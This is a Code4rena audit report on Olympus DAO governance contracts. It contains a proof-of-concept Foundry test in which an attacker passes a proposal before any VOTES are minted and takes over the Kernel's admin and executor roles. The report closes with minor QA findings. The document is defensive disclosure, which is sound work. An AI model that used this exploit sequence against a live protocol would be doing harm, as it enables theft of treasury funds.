Olympus DAO contest - Bahurum's results

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L164 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L217-L218 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L268

Vulnerability details

Impact

Before any VOTES are minted anyone can activate and execute an arbitrary proposal even with 0 votes cast. So an attacker can pass any proposal (i.e. change the executor + admin of the Kernel, gaining access to all permissioned functions and to funds held).

Proof of Concept

Checks on vote numbers made in Governance.sol at lines L164, 217-218, 268 pass if VOTES.totalSupply() == 0. So, until no VOTES are minted, anyone can submit, activate and execute a proposal. There is no need to own or cast votes. This happens if OlympusGovernance is granted the executor role before any VOTES are minted (as in Governance.t.sol). The attacker can anticipate/frontrun the minting and pass a proposal to change both the Kernel admin and executor. Then he/she can upgrade malicious modules, steal funds from treasury...

A PoC was obtained modifying the setUp() of Governance.t.sol by keeping only what is before the minting of VOTES (up to L83 included). The test is as follows:

    function test_AttackerPassesProposalBeforeMinting() public {

        address[] memory users = userCreator.create(1);
        address attacker = users[0];
        vm.prank(attacker);
        MockMalicious attackerControlledContract = new MockMalicious();

        Instruction[] memory instructions_ = new Instruction[](2);
        instructions_[0] = Instruction(Actions.ChangeAdmin, address(attackerControlledContract));
        instructions_[1] = Instruction(Actions.ChangeExecutor, address(attackerControlledContract));

        vm.prank(attacker);
        governance.submitProposal(instructions_, "proposalName", "This is the proposal URI");
        
        governance.endorseProposal(1);
        
        vm.prank(attacker);
        governance.activateProposal(1);
        
        vm.warp(block.timestamp + 3 days + 1);
        
        governance.executeProposal();

        assert(kernel.executor()==address(attackerControlledContract));
        assert(kernel.admin()==address(attackerControlledContract));


    }

with

contract MockMalicious {}

Recommended Mitigation Steps

In Governance.sol check for a minimum VOTES totalSupply, similiar to the expected initial supply of VOTES when they have been fairly distributed, for example at line L164.

Judge has assessed an item in Issue #496 as Medium risk. The relevant finding follows:

[L-01]: Upgrades to VOTES module can lead to governance vulnerabilities

The comment in VOTES.sol#L10:

/// @dev    This is currently a substitute module that stubs gOHM.

means that the VOTES module is temporary and will be replaced by a form of governance token (could be staked gOHM for example). One must be sure before upgrading that the new token does not present a transfer function nor any mechanism or bypass that effectively allows to transfer tokens in between addresses. If the contrary is true, it would lead to a double endorsing issue (possibility to call OlympusGovernance.endorseProposal() a second time after getting the same tokens to a different address). Note that a bypass that allows transfer of tokens without delay could be used by an attacker to get unlimited endorsement power and execute a DoS on the governance by frontrunning calls to activateProposal() with a self-endorsed proposal.

[L-02]: Voting temporarily reduces endorsing power

When calling vote() on the governance, VOTES token are transfered temporarily to the governance contract (Governance.sol#L259), so one must wait before being able to endorse a proposal again.

[L-03]: Missing events for critical changes in system parameters

Change of critical system parameters should come with an event emission to allow for monitoring of potentially dangerous or malicious changes. Occurrencies of this issue are Kernel.sol#L77, Kernel.sol#L127, BondCallback.sol#L190

[L-04]: executor can become also admin

At Kernel.sol#L253 the executor is allowed to become also admin of the Kernel. Consider checking that the admin set is not the executor (and vice versa at Kernel.sol#L251) to avoid full centralization of the system.

[L-05]: Open TODOs

Open TODOs can point to architecture or programming issues that still need to be resolved. Occurrencies at TreasuryCustodian.sol#L51-L56, Operator.sol#L657. All issues raised in TODOs should be addressed before deployment.

[NC-01]: Missing/Incomplete/Incorrect Natspec comments:

• missing Natspec comments for public / external functions:

  • TRSRY.sol#L59
  • MINTR.sol#L33
  • MINTR.sol#L37
  • VOTES.sol#L35
  • VOTES.sol#L39
  • Governance.sol#L61
  • Governance.sol#L70

• missing Natspec comments for public getters:

  • Kernel.sol#L63
  • MINTR.sol#L9
  • RANGE.sol#L65
  • BondCallback.sol#L24-L26
  • Governance.sol#L56-L57
  • Operator.sol#L83
  • Operator.sol#L86
  • Operator.sol#L89

• missing function parameters:

  • Kernel.sol#L75
  • Kernel.sol#L126
  • Kernel.sol#L234
  • INSTR.sol#36
  • INSTR.sol#42
  • TRSRY.sol#L63
  • TRSRY.sol#L74
  • TRSRY.sol#L92
  • TRSRY.sol#L105
  • TRSRY.sol#L121
  • VOTES.sol#L45
  • VOTES.sol#L50
  • Governance.sol#L144

• missing function return values

  • INSTR.sol#42
  • RANGE.sol#L274
  • RANGE.sol#L279
  • RANGE.sol#L289
  • RANGE.sol#L300
  • RANGE.sol#L318
  • RANGE.sol#L329
  • RANGE.sol#L339
  • Governance.sol#L144
  • Governance.sol#L150
  • IHeart.sol#L17
  • IOperator.sol#L143

• incorrect comments:

  • Kernel.sol#L167: should be Mapping of keycode to module address
  • Kernel.sol#L170: should be Mapping of keycode to module address
  • Kernel.sol#L180: Policy and Keycode should be inverted

Consider adding missing Natspec comments according to the relevant section in the solidity docs.

[NC-02]: Redundant code:

At Governance.sol#L223 and Governance.sol#L306 use of bool == true is equivalent to just bool.

[NC-03]: Use custom error when netVotes should underflow

In QA.md#L82 check that yesVotesForProposal[activeProposal.proposalId] > noVotesForProposal[activeProposal.proposalId] before subtracting and revert with custom error NotEnoughVotesToExecute if not. This avoids to have a Panic error due to underflow in case netVotes should underflow.